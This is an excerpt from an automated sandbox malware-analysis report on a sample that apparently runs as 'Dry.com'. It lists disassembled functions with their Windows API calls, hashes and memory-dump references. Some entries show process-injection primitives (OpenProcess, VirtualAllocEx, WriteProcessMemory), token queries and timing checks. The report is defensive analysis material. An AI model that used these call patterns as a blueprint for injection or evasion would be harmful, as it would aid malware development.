Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 64698b3b84f5a543e179bff72a200ad3bbce0f9a076fbcff73ab27f7fc349568
Instruction ID: 95c0815911f5e32e7ec5ee7d5d25cfd43cd4f39b84d61070fbaec4301872c80e
Opcode Fuzzy Hash: 64698b3b84f5a543e179bff72a200ad3bbce0f9a076fbcff73ab27f7fc349568
Instruction Fuzzy Hash: F601D4736056157F332127769C8CDBB6AFDDEC2BA139501A9FC08E7244EE608D9181B0

Function 00B46078 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00B4608D
_memcmp.LIBVCRUNTIME ref: 00B460AB
_memcmp.LIBVCRUNTIME ref: 00B460BE
_memcmp.LIBVCRUNTIME ref: 00B460D6
_memcmp.LIBVCRUNTIME ref: 00B460EE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: ba308fd3fc44ca1de4ab0a6a8a20d8eb6aa8e908d471dbee61752eb038141874
Instruction ID: d8a70efdb3795e825191a65e3386b15de498ca3e8da1432ad94dd4b07c4afc46
Opcode Fuzzy Hash: ba308fd3fc44ca1de4ab0a6a8a20d8eb6aa8e908d471dbee61752eb038141874
Instruction Fuzzy Hash: 3301B9E2600305BBD71476149CC2F6B73DDDE52398F0044A5FE059A351E761EE14D2A2

Function 00B1316B Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(0000000A,?,?,00B0F64E,00B0545F,0000000A,?,00000000,00000000,?,00000000,?,?,?,0000000A,00000000), ref: 00B13170
_free.LIBCMT ref: 00B131A5
_free.LIBCMT ref: 00B131CC
SetLastError.KERNEL32(00000000,?,00000000,?,?,?,0000000A,00000000), ref: 00B131D9
SetLastError.KERNEL32(00000000,?,00000000,?,?,?,0000000A,00000000), ref: 00B131E2

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: f1a1807c782e4cbba320b46667845f24a998d313fb8a367e650db9a56b7f91a9
Instruction ID: 4e72cb6c1f1560cc797278cf522e9d668d52bc043adacbf5ca2b23749b41449e
Opcode Fuzzy Hash: f1a1807c782e4cbba320b46667845f24a998d313fb8a367e650db9a56b7f91a9
Instruction Fuzzy Hash: B801F9726406007B96122734AC86EEB26E9DFD1FB17A104F9F819F3191FF618BE14110

Function 00B408FE Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?,?,?,00B40C4E), ref: 00B4091B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?,?), ref: 00B40936
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?,?), ref: 00B40944
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?), ref: 00B40954
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B40831,80070057,?,?), ref: 00B40960

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 1ad4ffd7600f04d658ac0b111efe356fca45a5e2f7c80653b786db32017d909c
Instruction ID: f5d9f999b94ed181312f090e324ac03317d524e153659b05fe31f41ae99341bd
Opcode Fuzzy Hash: 1ad4ffd7600f04d658ac0b111efe356fca45a5e2f7c80653b786db32017d909c
Instruction Fuzzy Hash: A5018F72610204AFEB105F59DC48B9A7AFDEF84791F144164FE09E7211DB71DE80ABA0

Function 00B4F292 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00B4F2AE
QueryPerformanceFrequency.KERNEL32(?), ref: 00B4F2BC
Sleep.KERNEL32(00000000), ref: 00B4F2C4
QueryPerformanceCounter.KERNEL32(?), ref: 00B4F2CE
Sleep.KERNEL32 ref: 00B4F30A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: f5ea051caf5ced6373346e74518da85e1880ea239b7ad81e56717494e33c8163
Instruction ID: cb3c8d94c788570c2dcc19c6af7d89d4087c637c8d4229530edf3d9baaa07ae6
Opcode Fuzzy Hash: f5ea051caf5ced6373346e74518da85e1880ea239b7ad81e56717494e33c8163
Instruction Fuzzy Hash: 5C016971C0162ADBCF00AFB4E949AEEBBB8FF08710F4004A6E601B3250DF309694D7A5

Function 00B41A45 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B41A60
GetLastError.KERNEL32(?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A6C
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A7B
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B414E7,?,?,?), ref: 00B41A82
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B41A99

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 973c8dc86a233ff2c06bb7ca963ec14eb68984a0f9c811e7ab32b84b8dd1f3a8
Instruction ID: 8eec16ed750d7c5d708423d339a640e54f85e9e2b87b7ab48b7ce8b5b13d4467
Opcode Fuzzy Hash: 973c8dc86a233ff2c06bb7ca963ec14eb68984a0f9c811e7ab32b84b8dd1f3a8
Instruction Fuzzy Hash: BF0181B5601205BFDB114F68DC48D6A3BBDEF843E4B210454F949E7260DF31DD809A60

Function 00B41900 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B41916
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B41922
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B41931
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B41938
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B4194E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: e6f7367119b0f36f84e9b92436a534b14702eff805ab07489e06b12a358acab3
Instruction ID: 0e7fa1789a411376ed62c9ecda65c321eb86c0659e01f751098afb5ef9d46102
Opcode Fuzzy Hash: e6f7367119b0f36f84e9b92436a534b14702eff805ab07489e06b12a358acab3
Instruction Fuzzy Hash: 6DF06D76600302ABDB210FA9DC5DF563BBDEF897E0F510814FA49E72A0CE70DC819A60

Function 00B41960 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B41976
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B41982
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B41991
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B41998
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B419AE

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: ba5993ff7a985b4c0fae4047b25ce309ae8f55974820eb73868c6d42ef11a5e0
Instruction ID: 4b4f051ba14db772ede5ce6e60112187e0e2f6119b3703ad1310b9427d4d31d8
Opcode Fuzzy Hash: ba5993ff7a985b4c0fae4047b25ce309ae8f55974820eb73868c6d42ef11a5e0
Instruction Fuzzy Hash: 32F06D75600301ABDB214FA8EC59F563BBDFF897A0F114814FA49D72A0CE70E9818A60

Function 00B50CB6 Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00B50B24,?,00B53D41,?,00000001,00B23AF4,?), ref: 00B50CCB
CloseHandle.KERNEL32(?,?,?,?,00B50B24,?,00B53D41,?,00000001,00B23AF4,?), ref: 00B50CD8
CloseHandle.KERNEL32(?,?,?,?,00B50B24,?,00B53D41,?,00000001,00B23AF4,?), ref: 00B50CE5
CloseHandle.KERNEL32(?,?,?,?,00B50B24,?,00B53D41,?,00000001,00B23AF4,?), ref: 00B50CF2
CloseHandle.KERNEL32(?,?,?,?,00B50B24,?,00B53D41,?,00000001,00B23AF4,?), ref: 00B50CFF
CloseHandle.KERNEL32(?,?,?,?,00B50B24,?,00B53D41,?,00000001,00B23AF4,?), ref: 00B50D0C

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e0a4dd0718059c2bded38d7be42d31f99bfdb20722c2f659a9edc704931837da
Instruction ID: 2be2b6ebf208efa03ba286fe3f13d2acf4355392bbe46e9415b7ae86d80f9afd
Opcode Fuzzy Hash: e0a4dd0718059c2bded38d7be42d31f99bfdb20722c2f659a9edc704931837da
Instruction Fuzzy Hash: D801D072800B458FCB30AF66D980912F6F5FF503163158ABED49652921C7B0A848CE80

Function 00B465AB Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00B465BF
GetWindowTextW.USER32(00000000,?,00000100), ref: 00B465D6
MessageBeep.USER32(00000000), ref: 00B465EE
KillTimer.USER32(?,0000040A), ref: 00B4660A
EndDialog.USER32(?,00000001), ref: 00B46624

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: eabf0e62dbc7c02c20daf676fac5e86ee4edf54e1b124356e6263afc86a1e818
Instruction ID: 3314cd88ab089dd4a1774ce5d841ba34402dcbf4804eabfa69b3ce5ff785fa58
Opcode Fuzzy Hash: eabf0e62dbc7c02c20daf676fac5e86ee4edf54e1b124356e6263afc86a1e818
Instruction Fuzzy Hash: 9D018630500304ABEB246F10DE4EBD67BB8FF15745F000599A58A620E1DFF5AB849A52

Function 00B1DABA Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B1DAD2

Part of subcall function 00B12D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1DB51,00BB1DC4,00000000,00BB1DC4,00000000,?,00B1DB78,00BB1DC4,00000007,00BB1DC4,?,00B1DF75,00BB1DC4), ref: 00B12D4E
Part of subcall function 00B12D38: GetLastError.KERNEL32(00BB1DC4,?,00B1DB51,00BB1DC4,00000000,00BB1DC4,00000000,?,00B1DB78,00BB1DC4,00000007,00BB1DC4,?,00B1DF75,00BB1DC4,00BB1DC4), ref: 00B12D60

_free.LIBCMT ref: 00B1DAE4
_free.LIBCMT ref: 00B1DAF6
_free.LIBCMT ref: 00B1DB08
_free.LIBCMT ref: 00B1DB1A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1ff5c0a76da9e8a3fd104f589a1fb085c8eb05dbdd47b437981c1b65d3fdee2e
Instruction ID: 4bbf18f71cb63ab7cd698fcca5c73491c04c54c93e585bd5997989dd57b37d96
Opcode Fuzzy Hash: 1ff5c0a76da9e8a3fd104f589a1fb085c8eb05dbdd47b437981c1b65d3fdee2e
Instruction Fuzzy Hash: 72F017B2548614AB8624EB68F983C9B77EEEE097107E50CD9F00AD7901CB34FCC08A64

Function 00B12610 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00B1262E

Part of subcall function 00B12D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B1DB51,00BB1DC4,00000000,00BB1DC4,00000000,?,00B1DB78,00BB1DC4,00000007,00BB1DC4,?,00B1DF75,00BB1DC4), ref: 00B12D4E
Part of subcall function 00B12D38: GetLastError.KERNEL32(00BB1DC4,?,00B1DB51,00BB1DC4,00000000,00BB1DC4,00000000,?,00B1DB78,00BB1DC4,00000007,00BB1DC4,?,00B1DF75,00BB1DC4,00BB1DC4), ref: 00B12D60

_free.LIBCMT ref: 00B12640
_free.LIBCMT ref: 00B12653
_free.LIBCMT ref: 00B12664
_free.LIBCMT ref: 00B12675

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b667adb3d61199b4cfdf112df18a935c907e61d9241cf3a36ba9fa1c7a1dd65b
Instruction ID: 4321114137c4f3936f95b31b760b77e2e319f5f2cf70554c6c5a4cc2fb0a0423
Opcode Fuzzy Hash: b667adb3d61199b4cfdf112df18a935c907e61d9241cf3a36ba9fa1c7a1dd65b
Instruction Fuzzy Hash: CEF0DAB18011209B8602AF58FC128983BE4FB257513850B9AF415D72B5CF754AA1EF84

Function 00B112B7 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00B11469
__freea.LIBCMT ref: 00B11487

Part of subcall function 00B118A7: _free.LIBCMT ref: 00B118BF

Strings

am/pm, xrefs: 00B114EA
a/p, xrefs: 00B1154E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 0f1d6746e68e66f79b01d8ec46a8d60623e703e5cf78702cf7d39d051ed42db6
Instruction ID: bd8329463542ceb0fa01f7623ea8510b52b6e5aa419c8708d47712af25b80e78
Opcode Fuzzy Hash: 0f1d6746e68e66f79b01d8ec46a8d60623e703e5cf78702cf7d39d051ed42db6
Instruction Fuzzy Hash: 23D1F2719102069ACB24DF6CC8957FAB7F5FF15700FA849DAE6029B294D3369DC0CBA1

Function 00B43063 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4BDCA: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B42B1D,?,?,00000034,00000800,?,00000034), ref: 00B4BDF4

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00B430AD

Part of subcall function 00B4BD95: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B42B4C,?,?,00000800,?,00001073,00000000,?,?), ref: 00B4BDBF

Part of subcall function 00B4BCF1: GetWindowThreadProcessId.USER32(?,?), ref: 00B4BD1C
Part of subcall function 00B4BCF1: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00B42AE1,00000034,?,?,00001004,00000000,00000000), ref: 00B4BD2C
Part of subcall function 00B4BCF1: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00B42AE1,00000034,?,?,00001004,00000000,00000000), ref: 00B4BD42

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B4311A
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00B43167

Strings

@, xrefs: 00B4317F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 51b29bf9e8f723ecf45c434e718ec6435fefcb732baa8eabf12282b3bf2c4287
Instruction ID: c37c1715e5a42d736332f1e178947ee85fdfbc93e92146e2c764761ca60eb509
Opcode Fuzzy Hash: 51b29bf9e8f723ecf45c434e718ec6435fefcb732baa8eabf12282b3bf2c4287
Instruction Fuzzy Hash: 43411672900218BEDB10DFA4CD85EEEBBB8EF49700F1440A5FA45B7181DA70AF85DB60

Function 00B11A9E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\245347\Dry.com,00000104), ref: 00B11AD9
_free.LIBCMT ref: 00B11BA4
_free.LIBCMT ref: 00B11BAE

Strings

C:\Users\user\AppData\Local\Temp\245347\Dry.com, xrefs: 00B11AD0, 00B11AD7, 00B11B06, 00B11B3E

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\245347\Dry.com
API String ID: 2506810119-1821254949
Opcode ID: 46d5030f60beb6ae854da0a577636b931ba4020547a29e36f0e62a5b01c7f6e1
Instruction ID: 6a61d77f877503a7df172ed0a79010aee5d58bd381ebc822dda568a00a05abb7
Opcode Fuzzy Hash: 46d5030f60beb6ae854da0a577636b931ba4020547a29e36f0e62a5b01c7f6e1
Instruction Fuzzy Hash: 5D315E71A04218ABCB21DF99D885DDFBBFCEF85710B5045E6E90497221E6B04E81CB91

Function 00B4CB28 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00B4CBB1
DeleteMenu.USER32(?,00000007,00000000), ref: 00B4CBF7
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00BB29C0,012E5FF8), ref: 00B4CC40

Strings

0, xrefs: 00B4CB8A

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 1cbafde28cf9e533edc7270b9aebcbc228e9e9a8fcc956c0052b743b1317a374
Instruction ID: 97d3dc145cd7c59eecf22beb1ece5918a32377f27a1ea9b60d18a3360fa43cd5
